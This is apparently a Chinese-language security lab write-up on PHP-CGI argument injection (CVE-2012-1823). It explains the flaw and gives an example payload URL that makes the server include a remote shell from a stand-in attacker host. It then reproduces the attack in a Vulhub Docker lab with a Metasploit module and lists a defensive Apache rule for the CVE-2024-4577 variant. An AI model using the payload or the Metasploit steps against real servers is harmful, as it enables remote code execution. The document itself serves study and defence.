一、漏洞介绍
基本信息
漏洞原理
技术层面的解释:
PHP的CGI/FastCGI SAPI(服务器应用程序编程接口)在处理URL查询字符串时存在缺陷。当PHP以CGI模式运行时,它会将URL中的查询字符串解析为命令行参数。攻击者可以通过在URL中构造特殊的查询字符串(如使用-s、-d、-c等参数),将恶意参数注入到PHP解释器中。
具体来说:
参数注入:攻击者可以在URL中添加形如
?-s、-d allow_url_include=on等参数配置覆盖:通过
-d参数可以覆盖PHP的配置选项(如allow_url_include、auto_prepend_file等)代码执行:结合
auto_prepend_file等选项,攻击者可以包含远程文件或本地文件,最终实现任意代码执行
攻击流程示例:
http://victim.com/index.php?-d+allow_url_include=on+-d+auto_prepend_file=http://attacker.com/shell.txt这个URL会让PHP解释器执行以下操作:
-d allow_url_include=on:开启远程文件包含-d auto_prepend_file=http://attacker.com/shell.txt:在每个PHP文件执行前包含攻击者的远程shell代码
一句话大白话解释:
"就像你家门口有个信箱,本来只能投信,但攻击者发现只要在信上写特殊暗号,就能让邮递员把信当成指令执行,从而偷偷打开你家的门。"
影响的版本
注意: 只有以CGI或FastCGI模式运行的PHP受影响。使用mod_php(Apache模块)、PHP-FPM或其他非CGI模式的部署方式不受此漏洞影响。
防护措施
二、msf复现
1.准备工作:
攻击机:192.168.68.128(kalilinux)
目标靶机:192.168.68.134(ubuntu+docker)
来源:https://github.com/vulhub/vulhub/tree/master/php/CVE-2012-1823
部署:把该链接下的文件下载到ubuntu,进入文件夹,执行 sudo docker-compose up -d
然后服务启动会监听8080端口(可以使用sudo docker ps)发现外部8080映射容器内部的80端口
2.msf复现
打开kali终端
1.启动msf msfconsole
2.search
search cve-2012-18233.使用漏洞模块
use exploit/multi/http/php_cgi_arg_injection
4.查看需要配置的参数
show options
从图中可以看到,rport默认的80端口,我们需要改成8080,默认的payload参数也给我们设置正确,我们就只需要配置RHOSTS,PLESK和URIENCODING即可,RHOSTS填写目标靶机ip,PLESK是一个管理面板,可以理解成国内的宝塔面板,这里目标靶机没有这个,保持默认关闭即可,URIENCODING是给url编码,目的是让防火墙认不出这是攻击流量,但服务器还能正常解析执行,我们的靶机没有配置WAF,也可以保持默认
5.配置参数
set RPORT 8080
set RHOSTS 192.168.68.1346.执行攻击
我们可以先执行check看看目标主机是否存在漏洞(只是做检测,不是真正的攻击,在某些场景有用),然后执行run
可以看到也是顺利的拿到了控制权

三、扩展
这个漏洞和有一个重大版本的变种CVE-2024-4577
payload对比
影响版本
特殊风险:XAMPP Windows 版默认配置即 vulnerable,无需额外配置即可攻击。
技术演进对比
针对CVE-2024-4577的额外防御:
# 拦截软连字符(0xAD)攻击
RewriteEngine On
RewriteCond %{QUERY_STRING} ^%ad [NC]
RewriteRule .? - [F,L]一句话总结
CVE-2012-1823 像个"僵尸漏洞"——2012年"杀死"后,2024年借Windows的字符编码特性"复活",用肉眼看不见的软连字符(0xAD)绕过当年补丁,再次血洗互联网。